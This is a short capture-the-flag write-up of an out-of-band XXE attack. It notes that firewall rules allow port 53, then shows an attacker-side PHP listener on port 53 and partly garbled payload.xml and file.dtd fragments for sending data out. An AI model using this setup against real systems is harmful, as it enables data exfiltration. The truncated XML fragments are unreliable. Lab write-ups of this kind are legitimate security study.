In the rules iptabes.sh is written.  
```sh  
## This should be one of the first rules.  
## so dns lookups are already allowed for your other rules  
$ IPT -A OUTPUT -p udp --dport 53 -m state --state NEW, ESTABLISHED -j ACCEPT  
$ IPT -A INPUT -p udp --sport 53 -m state --state ESTABLISHED -j ACCEPT  
$ IPT -A OUTPUT -p tcp --dport 53 -m state --state NEW, ESTABLISHED -j ACCEPT  
$ IPT -A INPUT -p tcp --sport 53 -m state --state ESTABLISHED -j ACCEPT  
```

Input and output on port 53 is enabled, we can approve of this rule.

In the challenge page we will send the payload.

![](https://github.com/andersongomes001/ctf_scripts/blob/master/FireShot%20Capture%20022%20-%20Resume%20-%2038.240.15.141.png?raw=true)

On the server let's open an http server on port 53.

start_server.sh  
```  
echo $(curl -s ifconfig.me/ip)  
systemctl stop systemd-resolved  
php -S 0.0.0.0:53  
```  
payload.xml  
```

<data>&sen;;</data>  
```  
file.dtd  
```

">  
%all;  
```

![](https://github.com/andersongomes001/ctf_scripts/blob/master/Captura%20de%20tela%20de%202019-11-11%2010-42-54.png?raw=true)